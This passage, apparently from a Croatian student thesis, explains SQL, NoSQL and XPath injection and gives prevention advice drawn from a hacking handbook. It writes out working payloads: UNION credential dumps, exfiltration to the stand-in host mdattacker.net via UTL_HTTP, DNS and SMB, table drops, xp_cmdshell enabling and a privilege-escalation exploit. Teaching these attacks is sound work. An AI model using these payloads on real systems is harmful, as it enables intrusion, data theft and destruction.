Ako unesena vrijednost nije ispravno ime kolone, upit vraća grešku. To znači da će odgovor

biti isti bez obzira da li napadač ubacuje jednostruke navodnike ili dvostruke ili bilo koji drugi

proizvoljan niz. Zbog toga tehnike i za automatski fuzzing i ručno testiranje vrlo često ne

detektiraju ovu ranjivost. U ovom slučaju čak ne pomažu metode uklanjanja/izbjegavanja

navodnika niti „prepared statements“. Ovo je ključna stvar koju treba pripaziti kod modernih

aplikacija.

U SQL-u ORDER bY 1, napravi poredak po prvoj koloni, ako se stavi 2 tada napravi po

drugoj, itd. Ako je broj upisan veći od broja postojećih kolona u tablici tada upit neće uspjeti.

Može se testirati da li se može obrnuti poredak:

1 ASC --

1 DESC --

Ako je upisan npr. broj 1 i u rezultatu su brojevi 1 u svakom retku, ulazni podaci se

najvjerojatnije ubacuju unutar imena kolone koja se vraća od strane upita. Npr.:

48

SELECT 1,title,year FROM books WHERE publisher=’Wiley’

ORDER BY upiti su malo drugačiji od ostalih. Baza podataka kod njih ne prihvaća ključne

riječi kao što su: UNION, WHERE, OR ili AND. Ovakav slučaj od napadača zahtjeva da

specificira ugniježđeni upita na mjestu parametra, a to znači zamjenjujući ime kolone sa npr.

(select 1 where <<condition>> or 1/0=0).

6.1.3 Otkrivanje baze podataka u pozadini

Svaka baza podataka ima drugačije funkcije za rukovanje različitim tipovima podataka

odnosno parametara. Ubacivanjem operacija nad pojedinim parametrima napadač može na

temelju rezultat upita otkriti koja se baza nalazi u pozadini web aplikacije.

6.1.3.1 Prema Parametrima:

Nizovni/string:

Oracle: ‘serv’||’ices’

MS-SQL: ‘serv’+’ices’

MySQL: ‘serv’ ‘ices’ (razmak!)

Numerički:

Oracle: BITAND(1,1)-BITAND(1,1)

MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED

MySQL: CONNECTION_ID()-CONNECTION_ID()

Npr. preko sljedećeg niza da se dobije približna verzija baze u pozadini:

/*!32302 and 1=0*/

Where dio select upita je false ako je mysql verzija veća od 3.23.02

MS-SQL je vrlo sličan kao SYBASE u relacijama, strukturi tablica, globalnim varijablama i

pohranjenim procedurama

6.1.4 UNION operator 44

UNION operator se koristi kako bi se kombinirali rezultati dvaju ili više SELECT upita.

Obično ako se može primijeniti union operator da se izvrši drugi, odvojeni upit, i kombinirati

te rezultate sa prvim upitom, te ako se rezultati upita vrate do preglednika, ova tehnika može

biti korištena za lagano izvlačenje podataka iz baze.

PRIMJERI:

Sljedeći upit će biti uspješan:

SELECT author,title,year FROM books WHERE publisher = ‘Wiley’

UNION SELECT username,password,uid FROM users--’

44

Izvor: The Web Application Hacker's Handbook str. 340

49

Kod izgradnje upita treba obratiti pozornost da se kod drugog upita koristi isti broj kolona kao

i kod prvog, pošto UNION objedinjuje rezultate jednog i drugog upita.

Sljedeći upit je neispravan:

Wiley’ UNION SELECT username,password FROM users—

I vratiti će grešku:

ORA-01789: query block has incorrect number of result columns

Također treba paziti da se kod drugog upita tipovi podataka podudaraju jer ako se ne

podudaraju vratiti će se greška. U sljedećem primjeru promijenjen je redoslijed SELECT

tablica što rezultira greškom jer se znakovni tip ne može povezati sa datum tipom podataka.

Wiley’ UNION SELECT uid,username,password FROM users--

ORA-01790: expression must have same datatype as corresponding expression

6.1.4.1 Broj kolona

Može se iskoristiti činjenica da NULL može biti pretvoren u bilo koji tip podataka kako bi se

sistematično ubacivali upiti sa različitim brojem kolona dok se upita ne bi izvršio. Npr.:

‘ UNION SELECT NULL--

‘ UNION SELECT NULL, NULL--

‘ UNION SELECT NULL, NULL, NULL--

Kada se upit izvrši, utvrđen je broj kolona koji je potreban. Inače se vraća greška.

Sljedeći je korak obično otkrivanje koja kolona je tipa „niz“ kako bi se iskoristila za

izvlačenje proizvoljnih podataka iz baze. To se isto može izvesti kao i u prošlom primjeru

ubacujući NULL vrijednosti i postepeno mijenjati NULL sa s nekim slovom.

Primjer:

‘ UNION SELECT ‘a’, NULL, NULL--

‘ UNION SELECT NULL, ‘a’, NULL--

‘ UNION SELECT NULL, NULL, ‘a’--

Kada se upit izvrši, vidi se dodatni red podataka koji sadržava vrijednost a.

Kod Oracle baze ovo ne bi prošlo jer svaki SELECT mora sadržavati FROM dio.

Ali se zato može napisati:

‘ UNION SELECT NULL FROM DUAL--

Dual je globalno dostupna tablica.

Sljedeće što bi bilo sad kad znamo broj kolona, kolonu koja je tipa niz, je izvlačenje željenih podataka.

50

‘ UNION SELECT @@version,NULL,NULL—za MS-SQL i MySQL

Oracle - ‘ UNION SELECT banner,NULL,NULL FROM v$version--

6.1.4.2 Izvlačenje podataka UNION operatorom

MYSQL primjer preko URL parametara

Ako web preglednik šalje sljedeći parametar prema aplikaciji:

Ime=Matija i aplikacija vraća sljedeći rezultat:

Ime E-mail

Matija Paravac [email protected]

Prvo je potrebno odrediti broj kolona tako da se dodaje NULL sve dok se upit ne izvrši bez

pogrešaka:

?Ime=Matija%20union%20select%20null--

?Ime=Matija%20union%20select%20null,null,null,null,null--

Svi upiti kombinirani sa UNION, INTERSECT,ili EXCEPT operatorima moraju imati jednak

broj izraza u ciljanoj listi.

Ime E-mail

Matija Paravac [email protected]

[prazno] [prazno]

Sada provjerimo prvu kolonu unutar upita da li sadržava znakovne podatke.

Ime=Matija%20union%20select%20’a’,null,null,null,null--

Ime E-mail

Matija Paravac [email protected]

a

Sljedeći korak je pronalaženje imena tablica i kolona unutar baze podataka koji mogu

sadržavati zanimljive informacije. To se može postići ako se izvrši upit nad meta tablicom

51

information_schema.columns, koji sadrži detalje svih tablica i imena kolona unutar baze

podataka. Primjer upita je sljedeći:

Ime=Matija%20union%20select%20table_name,column_name,null,null, null%20from%20information_schema.columns—

Ime E-mail

Matija Paravac [email protected]

shop_items cijena

shop_items proid

shop_items imeporizvoda

addr_book contactemail

addr_book contactemail

korisnici korime

korisnici lozinka

Može se iskoristiti isti upit iz prethodnog primjera za dohvat podataka iz tablice korisnici:

Ime=Matija’%20UNION%20select%20username,password,null,null,null%20

from%20korisnici--

Ime E-mail

Matija Paravac [email protected]

administrator fme69

dev uber

marcus 8pinto

smith twosixty

jlo 6kdown

Information_schema je podržana od strane MS-SQL-a, MySQL-a i mnogih drugih baza

uključujući i SQLite i Postresql. Napravljena je da bi čuvala meta podatke baze podataka,

zbog čega je primarna meta napadača koji žele pregledati odnosno ispitati bazu podataka.

52

Oracle ne podržava tu schemu. Kod analiziranja velikih baza podataka za mjesta napada,

obično je najbolje odmah tražiti interesantna imena kolona nego imena tablica. Na primjer:

SELECT table_name,column_name FROM information_schema.columns where

column_name LIKE ‘%PASS%’

Kada se u rezultatu vrati više kolona iz neke tablice, one se mogu spojiti u jedan niz. Tako je

preuzimanje/izvlačenje više izravno, jer zahtjeva identifikaciju samo jednog znakovnog polja

u prvobitnom upitu:

Oracle: SELECT table_name||’:’||column_name FROM

all_tab_columns

MS-SQL: SELECT table_name+’:’+column_name from information_

schema.columns

MySQL: SELECT CONCAT(table_name,’:’,column_name) from

information_schema.columns

6.1.5 Zaobilaženje filtra 45

Neke aplikacije koje su u ranjive na SQLi imaju implementirane neke filtracije znakova i

ključnih riječi. Takvi filtri su obično ranjivi i mogu se zaobići.

Primjeri:

Upit SELECT ename, sal FROM emp WHERE ename='marcus' kada se šifrira za Oracle i

MS-SQL bazu podataka izgleda na sljedeći način:

SELECT ename, sal FROM emp where ename=CHR(109)||CHR(97)||

CHR(114)||CHR(99)||CHR(117)||CHR(115)

SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97)

+CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)

Kod ubacivanja više grupiranih upita u MS-SQL bazu, nije potrebno koristiti zarez za

odvajanje. Parser upita će ih interpretirati bez obzira bili oni odvojeni zarezom ili ne.

Ako aplikacija blokira određene ključne riječi na temelju crne liste, npr. ako je riječ SELECT

zabranjena, mogu se probati sljedeći unosi:

SeLeCt

%00SELECT

SELSELECTECT

45

Izvor: The Web Application Hacker's Handbook str. 347

53

%53%45%4c%45%43%54

%2553%2545%254c%2545%2543%2554

6.1.5.1 SQL komentari

U SQL-u se mogu ubacivati komentari unutar linije slično kao u C++-u, tako da se stave

između /* i */ simbola. Ako aplikacija izbaci razmake, mogu se iskoristiti komentari kako bi

simulirali razmak unutar ubačenih podataka. Primjer:

SELECT/*foo*/username,password/*foo*/FROM/*foo*/users

Kod MySQL-a se komentari mogu ubacivati čak i unutar ključnih riječi:

SEL/*foo*/ECT username,password FR/*foo*/OM users

Što je vrlo korisno kod zaobilaženja filtra.

Vlasnici aplikacije i programeri moraju biti svjesni da nije svaki napadač usmjeren samo na

krađu podataka. Neki mogu biti više destruktivni. Na primjer koristeći samo 12 znakova,

napadač može ugasiti MS-SQL bazu podataka sa shutdown naredbom:

' shutdown--

Napadač može isto tako ubacivati maliciozne naredbe kako bi se izbrisale tablice:

' drop table korisnici--

' drop table accounts--

' drop table costumers--

6.1.5.2 Vraćanje podataka kao brojeva 46

Često se zna dogoditi da ne postoje ranjivosti unutar znakovnih polja jer je rukovanje

ubačenim jednostrukim znakovima ispravno (niz fields), ali mogu postojati ranjivosti unutar

numeričkih podataka jer kod njih nije uzeta u obzir mogućnost ubacivanja jednostrukih

navodnika. Tada, često jedini način za dobivanje rezultata ubačenih upita je putem

numeričkog odgovora. Znači potrebno je formirati upit tako da se vrati samo numerička

vrijednost.

Za tu svrhu se mogu iskoristiti funkcije:

ASCII - vraća ASCII kod za ulazni znak

SUBSTRING (ili SUBSTR kod ORACLE baze)

46

Izvor: The Web Application Hacker's Handbook str. 351

54

Pomoću njih je moguće izvući i pretvoriti pojedini znak iz znakovnog niza (strina) u

numerički oblik. Moguće je pretvoriti sve znakove iz nekog niza pojedinačno u numerički

oblik.

Npr:

ASCII(SUBSTR(‘Admin’,1,1)) će vratiti 65.

6.1.6 Ugrađene funkcije

6.1.6.1 Oracle

Oracle sadrži velik broj funkcionalnosti kojima se može pristupiti od strane nisko

privilegiranih korisnika i to može biti iskorišteno za stvaranje out-of -band (odvojene vanjske

konekcije) konekcija.

UTL_HTTP paket može biti iskorišten da bi se napravio proizvoljan HTTP zahtjev nekom

drugom računalu.

47UTL HTTP sadrži bogate funkcionalnosti i podržava Proxy poslužitelje, cookie,

preusmjeravanja, i autentifikaciju. To znači da napadač koji je ugrozio bazu podataka na

strogo čuvanoj internoj mreži, može utjecati da interni Proxy poslužitelj dopušta outbound

konekcije prema Internetu.

Sljedeći primjer prikazuje kako se pomoću UTL_HTTP može prenositi rezultat ubačenog

upita prema nekom poslužitelju koji je kontroliran od strane napadača:

/zaposlenici.asp?EmpNo=7521’||UTL_HTTP.request(‘mdattacker.net:80/’||

(SELECT%20korime%20FROM%20all_users%20WHERE%20ROWNUM%3d1))--

Ovaj URL uzrokuje UTL_HTTP da napravi GET zahtjev za URL koji sadržava prvo

korisničko ime unutar tablice all_useres. Napadač može postaviti netcat servis na svoj

poslužitelj kako bi primio rezultat:

C:\>nc -nLp 80

GET /SYS HTTP/1.1

Host: mdnapadac.net

Connection: close

UTIL_INADDR paket je dizajniran da bi se koristio za pretvaranje imena računala u IP

adrese. Može se koristiti za generiranje proizvoljnih DNS upita prema poslužitelju koji je

kontroliran od strane napadača. U većini slučajeva veća je vjerojatnost da se uspješno izvrši

nego UTL_HTTP napad, zbog toga što je DNS promet često dopušten kroz vatrozide

47

Izvor: The Web Application Hacker's Handbook str. 354

55

(firewall) pojedinih tvrtki čak i kada je HTTP promet zabranjen. Napadač može utjecati na taj

paket kako bi se napravilo pretraživanje (lookup) imena računala (hostname) po njegovom

izboru, dohvaćajući proizvoljne podatke pripajajući ih kao pod domenu glavne domene koju

kontrolira.

Primjer:

/zaposlenici.asp?EmpNo=7521’||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%

20FROM%20DBA_USERS%20WHERE%20NAME=’SYS’)||’.mdattacker.net’)

Rezultat DNS upita koji sadržava hash lozinku SYS korisnika šalju se na mdattacker.net

adresu poslužitelja:

DCB748A5BC5390F2.mdattacker.net

UTL_SMTP paket može biti iskorišten za slanje e-mail-ova. Velik broj dohvaćenih podataka

iz baze se mogu poslati na neku vanjsku e-mail adresu.

UTL_TCP paket može biti iskorišten za otvaranje proizvoljnih TCP socket-a za slanje i

primanje podataka.

Kod ORACLE 11g. baze podataka dodatna ACL (kontrolna lista pristupa) štiti i sprečava

mnogo resursa, i onih do sada navedenih od izvršavanja od strane proizvoljnog korisnika baze

podataka. Međutim postoji lagan način kako da se ACL zaobiđe, a to je da se iskoristi nova

funkcionalnost koja je došla sa ORACLE 11g verzijom baze podataka:

SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE

NAME=’SYS’)||’.mdsec.net’,80)

6.1.6.2 MYSQL

SELECT ... INTO OUTFILE naredba može biti korištena za direktnu pohranu rezultata

proizvoljnog upita u datoteku. Specificirana datoteka može sadržavati UNC putanju, to

omogućuje usmjeravanje rezultata u datoteku na nekom računalu. Npr:

select * into outfile ‘\\\\mdattacker.net\\share\\output.txt’ from users;

Da bi se primila datoteka potrebno je napraviti SMB share na nekom računalu koje

dozvoljava anonimno zapisivanje. Takvi dijeljeni prostori se vrlo lagano mogu konfigurirati i

na Windows i Unix platformama

56

6.1.7 Utjecaj napada na OS

Moguće je izvršiti eskalacijske napade preko baze podataka koji rezultiraju izvršavanjem

proizvoljnih naredbi unutar operacijskog sustava na kojem je poslužitelj baze podataka. U

takvim situacijama moguće je izvršavati naredbe kao što su: tftp, mail i telnet ili kopiranjem

podataka u root direktorij web poslužitelja kako bi se mogli dohvatiti putem preglednika.

Ako se baza podataka nalazi na sigurnoj lokaciji iza vatrozida koji ne dopušta nikakve veze

prema Internetu tada sve ovo otpada i jedino preostaje napad preko web aplikacije unošenjem

proizvoljnih upita.

admin’ AND 1=1--

admin’ AND 1=2--

Drugi upit će vratiti false -to se koristi kod kontrole ponašanja aplikacije zaključivanje istine

ili laži proizvoljnih uvjeta unutar same baze podataka.

Također i ovo:

admin’ AND ASCII(SUBSTRING(‘Admin’,1,1)) = 65-- prijavljuje

admin’ AND ASCII(SUBSTRING(‘Admin’,1,1)) = 66-- ne prijavljuje jer je false

6.1.8 Izazivanje kondicionalnih grešaka(Error based) 48

Ideja je da se otkrije raznolikost unutar ponašanja u većini okruženja, na način da se ubaci

upit koji inducira grešku baze podataka zavisne o nekom specificiranom stanju. Kada se

greška pojavi, obično se može uočiti izvana preko HTTP 500 odgovora ili kroz nekakvu

poruku od grešci i abnormalnom ponašanju. Ova tehnika se temelji na značajki baze podataka

kod evaluiranja kondicijskih izjava: baza podataka evaluira samo one dijelove izjava koji

moraju biti evaluirani s obzirom na status drugih dijelova. Primjer:

SELECT X FROM Y WHERE C

Baza podataka provjerava svaki redak u tablici Y da li zadovoljava uvjet C i vraća X kada je

C istinit. Ako C nikad nije istinit, X se nikad ne evaluira.

Takvo ponašanje se može iskoristiti tako da se nađe izraz kod kojeg je X sintakso točan ali

generira grešku. Primjer takvog izraza kod Oracle i MS-SQL je dijeljenje sa nulom. Ako je C

uvijek istinit, izraz C se evaluira što uzrokuje grešku. Ako je C uvijek neistinit, nikakva

greška se ne generira. Na taj se način, ako ima ili nema greške može provjeriti stanje C.

48

Izvor: The Web Application Hacker's Handbook str. 356

57

Oracle primjer:

SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username =

‘DBSNMP’) = ‘DBSNMP’

Ako korisnik DBSNMP postoji doći će do pogreške.

Sljedeći upit testira da li korisnik AAAAAA postoji. Zbog WHERE uvjet nikad nije istinit,

izraz 1/0 se ne evaluira, pa nema nikakve pogreške:

SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username =

‘AAAAAA’) = ‘AAAAAA’

Zbog jednostavnosti ove provjere, isti napadački nizovi će raditi i na više različitih sustava

baza podataka i to kod različitih mjesta ubacivanja upita. Na primjer mjesto ubacivanja može

biti i iza WHERE dijela upita:

SELECT 1 WHERE id=2 or 1/0=0

6.1.9 Napadi temeljeni na vremenu 49

U nekim situacijama kod ubacivanja upita aplikacija odnosno preglednik ne vraća nikakve

rezultate niti pogreške. Tada se koriste napadi temeljeni na vremenu (Time-based).

Princip je takav da napadač ubacuje upit i gleda vrijeme koje je potrebno poslužitelju da

odgovori. Ako nastupi kašnjenje, to bi moglo značiti da je stanje istinito. Na taj način napadač

može provjeravati i iz baze podataka izvlačiti bit po bit informacije.

Kod različitih baza podataka koriste se različite funkcije za stvaranje vremenskog kašnjenja.

6.1.9.1 MS-SQL

Sadrži ugrađenu WAITFOR naredbu:

waitfor delay ‘0:0:5’

Znači kada je neko stanje detektirano aktivira se vremensko kašnjenje. Međutim, ne moraju se

koristiti samo provjere stanja. Na primjer sljedeći upit će provjeriti da li je u zadanom nizu

prvo slovo A, ako je, tada će se pokrenuti kašnjenje od 5 sekundi:

if ASCII(SUBSTRING(‘Admin’,1,1)) = 64 waitfor delay ‘0:0:5’

Na ovaj način napadač može prolaziti kroz sva slova imena tablice ili korisnika i na taj način

provjeravati da li naziv sadrži neko slovo.

49

Izvor: The Web Application Hacker's Handbook str. 358

58

Postoji još jedna tehnika kod koje se podatak razlama na bitove i svaki od njih se vraća

pomoću zasebnog upita. Kod nje se koristi POWER naredba i bitovni operator &. Sljedeći

upit testira prvi bit prvog bajta podataka i pauzira ako je 1:

if (ASCII(SUBSTRING(‘Admin’,1,1)) & (POWER(2,0))) > 0 waitfor delay ‘0:0:5’

Za drugi bit:

if (ASCII(SUBSTRING(‘Admin’,1,1)) & (POWER(2,1))) > 0 waitfor delay ‘0:0:5’

6.1.9.2 MySQL

Kod MySQL tu je sleep() funkcija, koja generira kašnjenje izrađeno u milisekundama

Verzije MySQL baze starije od 5.0.12 koriste benchmark funkciju:

select if(user() like ‘root@%’, benchmark(50000,sha1(‘test’)), ‘false’)

Funkcija se mogla iskoristiti za ponavljanje neke radnje više puta. Najčešće se zadavalo bazi

podataka neki procesorski zahtjevan posao kao što je SHA-1 šifrirane što bi uzrokovalo

kašnjenje.

6.1.9.3 PostgreSQL

Funkcija PG_SLEEP kod PostgreSQL se može koristiti na isti način kao i MySQL sleep

funkcija.

6.1.9.4 ORACLE

Oracle baza nema funkcije koje bi generirale vremensko kašnjenje ali se zato koriste neki

drugi metode koji bi generirale vremensko kašnjenje.

Npr ako se koristi UTL_HTTP za spajanje na poslužitelj koji ne postoji može izazvati

kašnjenje.

SELECT ‘a’||Utl_Http.request(‘http://madeupserver.com’) from dual

U sljedećem primjeru nastupa kašnjenje ako postoji korisnički račun DBSNMP:

SELECT ‘a’||Utl_Http.request(‘http://madeupserver.com’) FROM dual WHERE

(SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’

Str 324.

Vremenska kašnjenja se mogu koristiti i za detektiranje SQLi ranjivosti. Na primjer ako je u

pozadini aplikacije MS SQL baza može se na kraj svakog upita staviti sljedeće, i motriti

koliko dugo aplikaciji treba da identificira neku ranjivost:

‘; waitfor delay ‘0:30:0’--

1; waitfor delay ‘0:30:0’--

59

6.1.10 Eskalacija SQLi napada 50

SQLi obično ugrozi cijelu aplikaciju. Međutim to ponekad ne mora značiti da je to bio cilj

napada. Cilj napada može biti totalno drugačiji, ali se pomoću SQLi može doći do ugrađenih

funkcija baze podataka koje se mogu iskoristiti za daljnje napredovanje prema cilju.

imati pristup drugim aplikacijama koje se nalaze u bazi

ugroziti operacijski sustav na kojem je poslužitelj baze podataka

mrežni pristup drugim sustavima

6.1.10.1 MS SQL

Vrlo opasno može biti ako napadač može zloupotrijebiti xp_cmdshell proceduru koja je

ugrađena u MS-SQL bazu. Ta pohranjena procedura omogućuje da korisnika sa DBA

ovlaštenjima izvršava naredbe operativnog sustava.

Primjer:

master..xp_cmdshell ‘ipconfig > foo.txt’

Rezultat ipconfig naredbe je zapisan u tekstualnu datoteku.

Također napadačima su vrlo interesantne procedure kao što su xp_regread i xp_regwrite koje

mogu biti korištene za izvršavanje akcija unutar registra Windows operativnog sustava.

MS SQL 2005 i novije verzije baze podataka, imaju ugrađene sigurnosne mehanizme koji

drže bazu zaključanu tako da to onemogućuje mnoge tehnike napada. Međutim ako je

korisnički račun unutar web aplikacije visoko privilegiran moguće je zaobići te mehanizme

rekonfiguracijom baze podataka. Na primjer ako je xp_cmdshell isključen, moguće ga je

uključiti sa sp_configure procedurom na sljedeći način:

EXECUTE sp_configure ‘show advanced options’, 1

RECONFIGURE WITH OVERRIDE

EXECUTE sp_configure ‘xp_cmdshell’, ‘1’

RECONFIGURE WITH OVERRIDE

6.1.10.2 ORACLE

Oracle baza podataka sadrži velik broj procedura koje se izvršavaju sa DBA privilegijama.

Čak su u samim procedurama otkrivene SQLi ranjivosti. Primjer iz 2006. godine gdje je

otkrivena ranjivost na paketu

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES. Ta ranjivost je iskorištena na

način da se unutar upita ubacila naredba GRANT DBA TO PUBLIC:

50

Izvor: The Web Application Hacker's Handbook str. 361

60

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘INDX’,’SCH’,

‘TEXTINDEXMETHODS”.ODCIIndexUtilCleanup(:p1); execute immediate

‘’declare pragma autonomous_transaction; begin execute immediate

‘’’’grant dba to public’’’’ ; end;’’; END;--’,’CTXSYS’,1,’1’,0) from dual

Valja napomenuti da ORACLE baza ima puno funkcionalnosti koje su dostupne i niže

privilegiranim korisnicima. Npr. UTL_FILE za čitanje iz datoteke.

Kod ORACLE baze moguća je i zloupotreba Jave. Ranjivost unutar

DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY omogućuje dodavanje

java.io.filepermission dopuštenja. Taj napad tada izvršava Java klasu

oracle/aurora/util/Wrapper koja pokreće naredbe OS-a koristeći DBMS_JAVA.RUNJAVA.

Primjer:

DBMS_JAVA.RUNJAVA(‘oracle/aurora/util/Wrapper c:\\windows\\system32\\

cmd.exe /c dir>c:\\OUT.LST’)

6.1.10.3 MySQL

U odnosu MS SQL i ORACLE, MySQL ima malo ugrađenih funkcionalnosti koje bi napadač

mogao iskoristiti.

Jedan primjer je svaki korisnik sa FILE_PRIV dopuštenjem može čitati i pisati na datotečni

sustav.

LOAD_FILE se može iskoristiti za izvlačenje sadržaja iz bilo koje datoteke.

Naredba SELECT… INTO OUTFILE može spremiti rezultate upita unutar datoteke. Primjer:

create table test (a varchar(200));

insert into test(a) values (‘+ +’)

select * from test into outfile ‘/etc/hosts.equiv’

6.1.11 SQLMAP

SQLMAP je alat za penetracijsko testiranje koji automatizira proces detekcije i iskorištavanja

SQLi ranjivosti i preuzimanje kontrole nad poslužiteljem baze podataka. SQLMAP podržava

sve oblike SQLi napada, i u praksi je vrlo efektivan. Jedan od najboljih načina za korištenje je

uz --sql-shell opciju, što omogućuje pisanje SQL upita i primanje rezultata.

C:\sqlmap>sqlmap.py -u http://wahh-app.com/employees?Empno=7369 --union-use

--sql-shell -p Empno

6.1.12 Sprečavanje SQLi-a

Generalno gledajući, SQLi je jedna od ranjivosti koju je relativno lakše spriječiti.

Neke mjere obrana su neutralizacija jednostrukih navodnika iz podataka koji su uneseni od

strane korisnika na taj način da se dupliciraju. Međutim to kao što je već rečeno, to ne

funkcionira u dva slučaja:

61

1. Ako su uneseni podaci od strane korisnika numerički.

2. Kod SQLi drugog reda, što znači ako je takav neutraliziran podatak spremljen u bazu

podataka, sljedeći puta kada se dohvati iz baze i ponovno neutralizira dodavanjem

jednostrukih navodnika prije nego što se izvrši, vratiti će se u originalno stanje.

6.1.12.1 Parametarizirani upiti

Većina baza podataka i platforma za razvoj web aplikacija pružaju API sučelja za rukovanje

nepouzdanim unosom na siguran način, i na taj način sprečava SQLi. U parametariziranim

upitima koji se još nazivaju i „pripremljene izjave“(prepared statements) konstrukcija SQL

upita koji sadržava unesene korisničke podatke se izvršava u dva dijela:

1. Aplikacija određuje strukturu SQL upita, i ostavlja mjesta za svaku stavku iz unosa

korisnika.

2. Aplikacija specificira sadržaj svakog tog mjesta.

Drugim riječima, to su SQL izrazi, koji se šalju na poslužitelj i raščlanjeni su od strane baze

podataka odvojeno od bilo kojeg parametra. Na taj način je nemoguće da napadač ubaci

maliciozan SQL kod.

Ispravna sintaksa i metoda za stvaranje parametriziranih upita ovisi o programskom jeziku i

tipu baze podataka.

Primjer za ORACLE bazu podataka i Java programski jezik:

//definiranje strukture

niz insertTableSQL = "INSERT INTO korisnik"+ "(korisnik_ID, kime,

lozinka, datum) VALUES" + "(?,?,?,?)";

//pripremanje izraza kroz dbConnection

PreparedStatement preparedStatement =

dbConnection.prepareStatement(insertTableSQL);

//dodavanje unesenih podataka od strane korisnika

preparedStatement.setInt(1, 1);

preparedStatement.setString(2, "matija");

preparedStatement.setString(3, "tajna");

preparedStatement.setTimestamp(4, getCurrentTimeStamp());

// izvršavanje SQL izraza

preparedStatement .executeUpdate();

Osim navedenog vrlo važno je redovito da se redovito implementiraju nove sigurnosne zakrpe

i nadogradnje. To je važno, jer ako se otkrije neka greška ili ranjivost na nekoj verziji baze

podataka sve dok se ne učini sigurnosna zakrpa ta baza podataka je ranjiva.

62

6.2 NoSQL injection 51

Izraz NoSQL odnosi se na različite baze podataka i skladišta podataka koji ne koriste

standardnu relacijsku strukturu baza podataka. NoSQL skladišta podataka koriste mapiranje

po ključu/vrijednosti i ne oslanjaju se na fiksnu shemu kao konvencijonalne tablice.

Vrijednosti ključeva mogu biti proizvoljno definirane, i format vrijednosti obično nije bitan za

spremišta podataka. Još jedna značajka pohrane po ključu/vrijednosti je da vrijednost može

biti i sama struktura baze, na taj način se dopušta hijerarhijska pohrana, za razliku od pohrane

bez hijerarhijske strukture unutar shema relacijskih baza podataka.

NoSQL baze se koriste uglavnom za velike setove podataka, gdje se hijerarhijska struktura

može optimizirati točno kako se zahtjeva.

Kod SQLi, SQL jezik je vrlo sličan kroz sve platforme različitih baza podataka. Kod NoSQL-

a to nije slučaj. Svaka NoSQL baza može biti izvedena u drugačijoj tehnologiji i drugačije se

ponaša.

Slijede neke od zajedničkih metoda upita i pretraživanja koja koriste NoSQL baze podataka:

Pretraživanje po ključu/vrijednosti

Xpath

Programski jezici kao JavaScript

NoSQL je relativno nova tehnologija koja se vrlo brzo razvija. Još uvijek nije opće

prihvaćena, jer još uvijek nema nikakvog ozbiljnog ispitivanja ili istraživanja o sigurnosti

samih tehnologija ne bi li se našle ranjivosti, što je u današnje vrijeme najvažnija stvar.

Sigurno je da će ranjivosti i načini iskorištavanja ranjivosti biti otkriveni i izaći na vidjelo

kako će se NoSQL baze više koristiti u današnjim i budućim web aplikacijama.

6.2.1 MongoDB 52

MongoDB je vodeća NoSQL baza podataka napisana u C++. Za upite koristi

JavaSript/JSON. MongoDB sprema JSON dokumente u binarnom obliku(BSON).

U sljedećem primjeru je prikazana prijava korisnika u MongoDB bazu podataka:

$m = new Mnogo();

$db = $m->cmsdb;

51

Izvor: The Web Application Hacker's Handbook str. 379 52

Izvor: The Web Application Hacker's Handbook str. 379

63

$collection = $db->user;

$js = “function() { return this.username == ‘$username’ & this.password ==

‘$password’; }”;

$obj = $collection->findOne(array(‘$where’ => $js));

if (isset($obj[“uid”]))

{

$logged_in=1;

}

else

{

$logged_in=0;

}

$js je JavaScript funkcija, kod je konstruiran dinamički i uključuje korisničko ime i lozinku

koju je unio korisnik. Napadač može zaobići prikazanu logiku ako upiše ime na sljedeći

način:

Matija'//

JavaScript kod će tada izgledati ovako:

function() { return this.username == ‘Matija//’ & this.password ==

‘bilo_što’; }

U JavaScriptu // znači komentar, pa će ostatak koda u liniji biti zanemaren. Zaobilaženje

logike je moguće i ako se umjesto korisničkog imena upiše sljedeće: a’ || 1==1 || ‘a’==’a

JavaScript interpretira mnogo takvih operatora:

(this.username == ‘a’ || 1==1) || (‘a’==’a’ & this.password == ‘bilo_što’);

6.2.2 XPATH injection 53

XPATH je upitni jezik za dohvaćanje podataka iz XML dokumenata. U slučajevima kada

baze podataka spremaju podatke unutar XML dokumenata najčešće koriste Xpath izraze za

navigaciju između čvorova XML dokumenata. Xpath se također koristi za dohvaćanje

podataka s obzirom na unos korisnika. Ako je unos korisničkih podataka ubačen unutar Xpath

upita bez filtriranja i saniranja, napadač može manipulirati upitom, pomutiti logiku aplikacije

i doći do povjerljivih podataka.

Primjer pohranjenih podataka unutar XML-a:

<addressBook>

<address>

<firstName>William</firstName>

<surname>Gates</surname>

<password>MSRocks!</password>

<email>[email protected]</email>

<ccard>5130 8190 3282 3515</ccard>

</address>

<address>

<firstName>Chris</firstName>

53

Izvor: The Web Application Hacker's Handbook str. 380

64

<surname>Dawes</surname>

<password>secret</password>

<email>[email protected]</email>

<ccard>3981 2491 3242 3121</ccard>

</address>

<address>

<firstName>James</firstName>

<surname>Hunter</surname>

<password>letmein</password>

<email>[email protected]</email>

<ccard>8113 5320 8014 3313</ccard>

</address>

</addressBook>

Upit za dohvaćanje svih e-mail adresa izgledao ovako:

//address/email/text()

Upit koji vraća podatke o korisniku „Dawes“ izgleda ovako:

/address[surname/text()=’Dawes’]

Sljedeći upit provjerava korisničko ime i lozinku i vraća broj bankovne kartice:

//address[surname/text()=’Dawes’ and password/text()=’secret’]/ccard/

text()

U ovom slučaju napadač može modificirati upit na identičan način kao i kod SQLi ranjivosti.

Ako se umjesto lozinke stavi: ' or 'a'='a Xpath upit će vratiti broj kartice za sve korisnike:

//address[surname/text()=’Dawes’ and password/text()=’’ or ‘a’=’a’]/

ccard/text()

Isto kao i kod SQLi, jednostruki navodnici nisu potrebni kada se ubacuju numeričke

vrijednosti. Za razliku od SQL upita, ključne riječi unutar Xpath upita su osjetljive na velika i

mala slova, isto kao i imena elemenata unutar XML dokumenta.

Ubacivanjem:

‘ or 1=1 and ‘a’=’a

